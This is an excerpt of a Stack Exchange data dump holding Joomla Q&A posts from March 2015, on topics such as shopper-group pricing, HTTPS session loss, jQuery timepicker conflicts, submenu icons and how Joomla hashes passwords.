  <row Id="9157" PostTypeId="2" ParentId="9155" CreationDate="2015-03-20T13:45:31.780" Score="2" Body="&lt;p&gt;You don't need any separate extension to achieve this. Just use bulit-in VM Shopper Groups, create one called VIP, and in each product Add new price for VIP shopper group which is 10% lower.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-03-20T13:45:31.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9158" PostTypeId="1" CreationDate="2015-03-20T15:17:14.350" Score="3" ViewCount="309" Body="&lt;p&gt;How can I use PHP &lt;code&gt;echo&lt;/code&gt; to get the next or prev page article title or image in current page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried change some code in &lt;code&gt;article/default.php&lt;/code&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;pull-&amp;lt;?php echo htmlspecialchars($imgfloat); ?&amp;gt; item-image&quot;&amp;gt; &amp;lt;img&#xA;    &amp;lt;?php if ($images-&amp;gt;image_fulltext_caption):&#xA;        echo 'class=&quot;caption&quot;' . ' title=&quot;' . htmlspecialchars($images-&amp;gt;image_fulltext_caption) . '&quot;';&#xA;    endif; ?&amp;gt;&#xA;    src=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_fulltext); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_fulltext_alt); ?&amp;gt;&quot; itemprop=&quot;image&quot;/&amp;gt; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;pull-&amp;lt;?php echo htmlspecialchars($imgfloat); ?&amp;gt; item-image&quot;&amp;gt; &amp;lt;img&#xA;    &amp;lt;?php if ($images-&amp;gt;image_fulltext_caption):&#xA;        echo 'class=&quot;caption&quot;' . ' title=&quot;' . htmlspecialchars($images-&amp;gt;image_fulltext_caption) . '&quot;';&#xA;    endif; ?&amp;gt;&#xA;    src=&quot;&amp;lt;?php echo htmlspecialchars($next-&amp;gt;images-&amp;gt;image_fulltext); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_fulltext_alt); ?&amp;gt;&quot; itemprop=&quot;image&quot;/&amp;gt; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to change it in &lt;code&gt;pagenavigation.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.4.&lt;/p&gt;&#xA;" OwnerUserId="3928" LastActivityDate="2015-05-28T09:23:46.813" Title="Joomla content next and prev content's images" Tags="|php|navigation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9159" PostTypeId="1" AcceptedAnswerId="9160" CreationDate="2015-03-20T18:09:51.397" Score="0" ViewCount="421" Body="&lt;p&gt;When trying to install Joomla on a local host (OS X 10.10) using Bitnami, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Problem running post-install step. Installation may not complete&#xA;  correctly Error running /Applications/XAMPP/xamppfiles/bin/mysql&#xA;  --user=root --host=localhost --socket=&quot;/Applications/XAMPP/xamppfiles/var/mysql/mysql.sock&quot; --database=bitnami_joomla --password=**** -e &quot;SOURCE /Applications/XAMPP/xamppfiles/apps/joomla/htdocs/installation/sql/mysql/joomla.sql;&quot;:&#xA;  Warning: Using a password on the command line interface can be&#xA;  insecure. ERROR 1146 (42S02) at line 14 in file:&#xA;  '/Applications/XAMPP/xamppfiles/apps/joomla/htdocs/installation/sql/mysql/joomla.sql':&#xA;  Table 'bitnami_joomla.jos_assets' doesn't exist&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do I fix this? (I'm obviously dead in the water!)&lt;/p&gt;&#xA;" OwnerUserId="3879" LastActivityDate="2015-03-20T19:17:19.413" Title="Unable to complete installation using Bitnami" Tags="|joomla-3.x|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9160" PostTypeId="2" ParentId="9159" CreationDate="2015-03-20T19:17:19.413" Score="1" Body="&lt;p&gt;Simple word of advice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Don't use 3rd party software that supposedly make installation easier&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never really seen the point in them. In addition to this, we can't really give supports for 3rd party software as it is nothing to do with us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is extremely easy to install, even easier in the 3.x series, so I would suggest you &lt;a href=&quot;http://www.joomla.org/download.html&quot; rel=&quot;nofollow&quot;&gt;download the installation package&lt;/a&gt; from the official site, extract it and go through the simple steps.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-20T19:17:19.413" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9163" PostTypeId="2" ParentId="8695" CreationDate="2015-03-21T21:11:36.820" Score="3" Body="&lt;p&gt;The controller function test is called like this:&lt;br&gt;&#xA;index.php?option=com_scholarships&amp;amp;task=&lt;strong&gt;scholarships.test&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-03-21T21:11:36.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9168" PostTypeId="1" AcceptedAnswerId="9169" CreationDate="2015-03-23T05:30:42.483" Score="0" ViewCount="242" Body="&lt;p&gt;Our website is using Force SSL on all pages. There is a massive issue that whenever a HTTP url is requested, the session is lost and the user is logged out, even though they are still redirected to the HTTPS page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really frustrating and I don't see why HTTPS sessions are lost just because an HTTP URL is requested and redirected to the HTTPS version. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3815" LastEditorUserId="3815" LastEditDate="2015-03-23T05:56:36.243" LastActivityDate="2015-03-23T05:59:02.767" Title="Joomla 3 Losing Sessions between HTTP and HTTPS" Tags="|session|ssl|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9169" PostTypeId="2" ParentId="9168" CreationDate="2015-03-23T05:59:02.767" Score="1" Body="&lt;p&gt;Just found that this is a known issue as https redirection is done in the routing- after the session is instantiated - &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/4960&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/issues/4960&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple fix is to use https redirection in &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTPS} off&#xA;RewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3815" LastActivityDate="2015-03-23T05:59:02.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9170" PostTypeId="1" CreationDate="2015-03-23T07:13:17.030" Score="0" ViewCount="1521" Body="&lt;p&gt;Has anybody used a time picker in this link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://trentrichardson.com/examples/timepicker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://trentrichardson.com/examples/timepicker/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already followed the steps in the link, I added the add-on.js file to my component and the css file inside, but when i change this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var x = jQuery(this).attr(&quot;size&quot;);                  &#xA;    jQuery(this).datepicker({ minDate:&quot;0&quot;-120, maxDate: &quot;0&quot;-x,dateFormat:&quot;yy-mm-dd&quot; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var x = jQuery(this).attr(&quot;size&quot;);                  &#xA;    jQuery(this).datetimepicker({ minDate:&quot;0&quot;-120, maxDate: &quot;0&quot;-x,dateFormat:&quot;yy-mm-dd&quot; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;nothing happens. I just want to add a timepicker to the datepicker I used from JqueryUI. Does joomla have something to do with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this code to load the javascript files from the link that I provided above :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript(JUri::base().'/components/com_subscription/media/js/jquery-ui-timepicker-addon.js');&#xA;&#xA;$doc-&amp;gt;addStyleSheet(JUri::base().'/components/com_subscription/media/css/jquery-ui-timepicker-addon.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is a screenshot of the error when the page loads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uwnw3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was confused because from the link that I am following, it just used the .datetimepicker then it works, but when I use mine, it's not functioning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The screenshot also displays $.ui is undefined, but that code came from the js file which was from the link I am following.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="126" LastEditDate="2016-01-21T23:09:41.590" LastActivityDate="2016-01-21T23:09:41.590" Title="Adding a timepicker to a datepicker" Tags="|joomla-3.x|javascript|jquery|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9171" PostTypeId="2" ParentId="8697" CreationDate="2015-03-23T08:52:53.793" Score="0" Body="&lt;p&gt;if you are using the export function from a url try adding &amp;amp;tmpl=component in the url (check if your template has a component.php file) this file only show the main component without template or modules&lt;/p&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2015-03-23T08:52:53.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9172" PostTypeId="2" ParentId="9170" CreationDate="2015-03-23T09:28:51.187" Score="1" Body="&lt;p&gt;I think I know what the issue may be, you need to wrap your code around jquery's document ready like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    var x = $(this).attr(&amp;quot;size&amp;quot;);                  &#xA;    $(this).datetimepicker({ minDate:&amp;quot;0&amp;quot;-120, maxDate: &amp;quot;0&amp;quot;-x,dateFormat:&amp;quot;yy-mm-dd&amp;quot; });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that I have used &lt;code&gt;jQuery(document)&lt;/code&gt; (the global scope) and then used &lt;code&gt;function($)&lt;/code&gt; so that the dollar symbol is an alias. This will prevent possible conflicts.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;You also need to ensure you're importing jQuery UI which you can do using Joomla's built in methods like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    JHtml::_('jquery.ui');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-03-23T10:10:03.477" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9173" PostTypeId="1" CreationDate="2015-03-23T09:48:03.300" Score="0" ViewCount="85" Body="&lt;p&gt;I was actually customizing a registration form of my website, I needed to add an extra field for date of birth which I did using this &lt;a href=&quot;https://docs.joomla.org/Form_field&quot; rel=&quot;nofollow&quot;&gt;joomla_docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to validate this field , I read this &lt;a href=&quot;https://docs.joomla.org/Client-side_form_validation&quot; rel=&quot;nofollow&quot;&gt;doc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I couldn't understand how this custom validation part works , is there only one validate.js? . Where do I exactly add the code? It says after loading validate (What does it exactly mean?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do anything with that validate.js itself , would it be a core code modification? (I found validate.js at system/js.validate.js but it's a minified file)&lt;/p&gt;&#xA;" OwnerUserId="3642" LastEditorUserId="3642" LastEditDate="2015-03-23T09:54:32.807" LastActivityDate="2015-11-13T12:34:54.727" Title="Customizing registration form joomla 2.5" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9175" PostTypeId="1" AcceptedAnswerId="9176" CreationDate="2015-03-23T12:29:38.593" Score="5" ViewCount="718" Body="&lt;p&gt;I've started developing my first ever component and an using Joomla's &lt;code&gt;JSubMenuHelper&lt;/code&gt; class to add a sub-menu to define the different views, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function addSubmenu($submenu) &#xA;{&#xA;    JSubMenuHelper::addEntry(&#xA;        JText::_('COM_SHOUTBOX_SUBMENU_SHOUTS'),&#xA;        'index.php?option=com_shoutbox',&#xA;        $submenu == 'shouts'&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works perfectly fine and output the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KPs7k.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to add an icon before the string like Kunena have done. (See below image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/maIHH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kunena have manually constructed their menu which I &lt;em&gt;could&lt;/em&gt; do too, however I would prefer to stick to using Joomla's &lt;code&gt;addEntry&lt;/code&gt; method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, how can I add an icon to each menu item?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-03-26T08:09:09.293" LastActivityDate="2015-03-26T08:09:09.293" Title="Adding an icons to backend submenu items" Tags="|component|joomla-3.4|submenu|icon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9176" PostTypeId="2" ParentId="9175" CreationDate="2015-03-23T14:28:20.887" Score="4" Body="&lt;p&gt;You can use the first parameter of addEntry() for that, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function addSubmenu($submenu) &#xA;{&#xA;    JSubMenuHelper::addEntry(&#xA;        '&amp;lt;i class=&quot;icon-home&quot;&amp;gt;&amp;lt;/i&amp;gt;' . JText::_('COM_SHOUTBOX_SUBMENU_SHOUTS'),&#xA;        'index.php?option=com_shoutbox',&#xA;        $submenu == 'shouts'&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would add the home icon to your menu label.&#xA;You can see a list of icons that come with the An overview of all icons shipped with the Isis template can be found here: &lt;a href=&quot;http://kyleledbetter.com/jui/icons/&quot; rel=&quot;nofollow&quot;&gt;http://kyleledbetter.com/jui/icons/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;addEntry documentation: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtmlSidebar.html#method_addEntry&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JHtmlSidebar.html#method_addEntry&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-03-23T14:28:20.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9177" PostTypeId="1" CreationDate="2015-03-23T16:09:31.307" Score="0" ViewCount="241" Body="&lt;p&gt;I'm actually fixing the website of a client with the next features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Joomla 2.5&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Virtuemart 2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Template: Shaper iStore II&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Slider: Revolution Slider&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is my slider doesn't work. This text appears:&#xA;&quot;The Current Version of jQuery:1,6,1  Please update your jQuery Version to min. 1.7 in Case you wish to use the Revolution Slider Plugin&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what did I do? I downloaded JQuery Easy and I updated the JQuery to the last version... It worked perfectly... but now, VM Jquery doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Cart pop-ups don't appear when I buy a product...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Price doesn't change when I select the variant of a product...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I disable JQuery Easy, it works... but slider doesn't&#xA;I have tried to change of slider and disabling some features of VM as loading some scripts files or jquery libraries, but neither...&#xA;Any idea about what should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Web page: &lt;a href=&quot;http://www.benaventegrow.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.benaventegrow.com/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Enabling JQuery Easy: &lt;a href=&quot;http://gyazo.com/d6239e557bb1f75e262458117b9dd353&quot; rel=&quot;nofollow&quot;&gt;http://gyazo.com/d6239e557bb1f75e262458117b9dd353&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="3573" LastEditDate="2015-03-23T16:36:29.387" LastActivityDate="2015-03-23T16:36:29.387" Title="Problems with JQuery conflicts in VM" Tags="|joomla-2.5|jquery|virtuemart|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9180" PostTypeId="1" AcceptedAnswerId="9192" CreationDate="2015-03-23T18:45:44.257" Score="-1" ViewCount="2435" Body="&lt;p&gt;I need to add javascript (this is for Google phone call conversation) and it must go between the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tags. It's going to be the same code for all the web pages on the site. Is there a Joomla extension to do this? I often use Flexi Code, but I don't see a way to place this between the body tags only. Thanks! &lt;/p&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="1629" LastEditDate="2015-03-24T02:02:09.130" LastActivityDate="2015-03-24T08:22:05.190" Title="How to add javascript code between Body tags using an extension?" Tags="|joomla-3.x|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9182" PostTypeId="1" AcceptedAnswerId="9183" CreationDate="2015-03-23T20:22:05.290" Score="0" ViewCount="197" Body="&lt;p&gt;I want to show a component in the backend index page. I have tried using the following methods in the index.php file but it doesn't show.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php                                                                                       $doc = JFactory::getDocument();&#xA;$module = JModuleHelper::getModule('mod_hello_ajax_world',$title);&#xA;//get and update params&#xA;$params = new JRegistry;&#xA;$params-&amp;gt;loadString($module-&amp;gt;params);&#xA;$params-&amp;gt;set('some_param_of_module',$some_value);&#xA;//render module&#xA;$renderer = $doc-&amp;gt;loadRenderer('module');&#xA;$content = $renderer-&amp;gt;render($module, array('params'=&amp;gt; $params));&#xA;print $content;                                                                                   ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;module&quot; name=&quot;hello_ajax_world&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My module has a client type administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1744" LastActivityDate="2015-03-24T15:51:27.250" Title="Show backend component on admin index" Tags="|module|administrator|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9183" PostTypeId="2" ParentId="9182" CreationDate="2015-03-23T22:06:24.370" Score="1" Body="&lt;p&gt;To show a module on the administrator:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goto Extensions -&gt; Module Manager.&#xA;Set Filter to Administrator.&#xA;Now you can see which positions you can use. For example you could add a module to the cpanel position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your question also holds the word component, so I'm not sure if you mean a module or component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to show a quickicon, see &lt;a href=&quot;https://stackoverflow.com/questions/17664824/add-a-quick-icon-in-joomla-3&quot;&gt;Add a quick icon in Joomla 3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-03-24T15:51:27.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9185" PostTypeId="1" AcceptedAnswerId="9193" CreationDate="2015-03-24T03:39:04.950" Score="1" ViewCount="748" Body="&lt;p&gt;Is there a way to have the same field in an array when posting the data? Since I need the tabs in my component to be generated dynamically depending on the querys output, I can't enter them specifically into that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;models/forms/myform.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;myset&quot;&#xA;    &amp;lt;field name=&quot;language&quot; type=&quot;language&quot; class=&quot;hidden&quot; ...&amp;gt;&#xA;    &amp;lt;field name=&quot;sometext&quot; type=&quot;text&quot; ...&amp;gt;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;view/myview/tmpl/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($langs as $lang)&#xA;{&#xA;    /* html */&#xA;    $this-&amp;gt;form-&amp;gt;setFieldAttribute('language', 'default', $lang['name']);&#xA;    echo $this-&amp;gt;form-&amp;gt;renderFieldSet('myset');&#xA;    /* html */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would result in say this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;| English | German | French |&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with a language and text field on each tab. The problem here is that when posting it just posts the last state, that would be the contents of 'French'. So is there a way to fix this and make joomla send an array or any better solutions to this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, is there a way to say Joomla to put that data into a stdObject because anything in that fieldset is related?&lt;/p&gt;&#xA;" OwnerUserId="3533" LastEditorUserId="3533" LastEditDate="2015-03-24T06:24:28.390" LastActivityDate="2015-03-24T08:23:55.750" Title="3.x form array?" Tags="|joomla-3.x|component|jform|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9186" PostTypeId="2" ParentId="9185" CreationDate="2015-03-24T05:17:19.973" Score="1" Body="&lt;p&gt;Add &lt;code&gt;multiple=&quot;true&quot;&lt;/code&gt; in field xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;field name=&quot;language&quot; type=&quot;language&quot; class=&quot;hidden&quot; multiple=&quot;true&quot; ...&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="142" LastActivityDate="2015-03-24T05:17:19.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9187" PostTypeId="1" AcceptedAnswerId="9191" CreationDate="2015-03-24T05:33:05.997" Score="1" ViewCount="113" Body="&lt;p&gt;I am using joomla 2.5 with jsn_yoyo_pro template. and the JSN Image_Show for a slider. This slider is working properly in some resolution, for a higher resolution its overlapping the header menu.&lt;br&gt;&#xA;How to fix this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fkbDA.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make that style height:100% then its working properly. But I didnt get the source code. Please help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site url is : &lt;a href=&quot;http://www.neurotrauma2015.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mysite url&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2134" LastEditorUserId="126" LastEditDate="2016-01-21T23:09:00.947" LastActivityDate="2016-01-21T23:09:00.947" Title="Header top image show problem in Joomla 2.5" Tags="|joomla-3.x|joomla-2.5|extensions|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9188" PostTypeId="1" AcceptedAnswerId="9189" CreationDate="2015-03-24T06:46:54.837" Score="5" ViewCount="4658" Body="&lt;p&gt;I am looking at the Joomla! .htaccess file. In which encoding does Joomla! stores the password. Can it be decoded as well?&lt;/p&gt;&#xA;" OwnerUserId="3921" LastActivityDate="2017-02-16T08:01:36.640" Title="In what format does Joomla! stores the password" Tags="|joomla-3.x|authentication|account-password|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9189" PostTypeId="2" ParentId="9188" CreationDate="2015-03-24T07:48:08.267" Score="3" Body="&lt;p&gt;.htaccess file has nothing to do with Joomla! passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla &amp;lt; 3.2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Passwords are &lt;a href=&quot;http://php.net/md5&quot; rel=&quot;nofollow noreferrer&quot;&gt;MD5&lt;/a&gt; hashed and salted. Salt is 32 characters long random string. They are stored in database like &lt;code&gt;{hash}:{salt}&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla &gt;= 3.2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like @Lodder said, starting from 3.2, passwords are hashed using Bcrypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These passwords can't be decrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to recover your lost admin password, follow Joomla! docs about &lt;a href=&quot;https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;How do you recover or reset your admin password?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2017-02-16T08:01:36.640" LastActivityDate="2017-02-16T08:01:36.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9190" PostTypeId="2" ParentId="9187" CreationDate="2015-03-24T07:57:46.763" Score="1" Body="&lt;p&gt;You should be able to override the height by adding to your custom CSS file at &lt;code&gt;/templates/jsn_yoyo_pro/css/custom.css&lt;/code&gt; like this or similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#jsn-header-top {&#xA;  height: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-03-24T07:57:46.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9191" PostTypeId="2" ParentId="9187" CreationDate="2015-03-24T08:00:33.130" Score="2" Body="&lt;p&gt;You can add a custom css file which will override your template/slider css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I remember if you're using the jsn framework &gt; go to;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;template settings &gt; SEO and system settings &gt; Custom CSS file &gt; add your custom css code here. (this location could have changed since I last used this FW though!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your custom css should be something like;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.jsn-homepage #jsn-header-top {&#xA;height: 100% !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will point you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-03-24T08:00:33.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9192" PostTypeId="2" ParentId="9180" CreationDate="2015-03-24T08:22:05.190" Score="0" Body="&lt;p&gt;You do not need an extension for that. Just open the &lt;code&gt;index.php&lt;/code&gt; of your website template (&lt;code&gt;templates/your_template/index.php&lt;/code&gt;) and add it there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that some templates providers change the structure and the main file is not &lt;code&gt;index.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do it over FTP or from the control panel of your website: Extensions -&gt; Template Manager -&gt; Choose Template on the left -&gt; Select your template.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-03-24T08:22:05.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
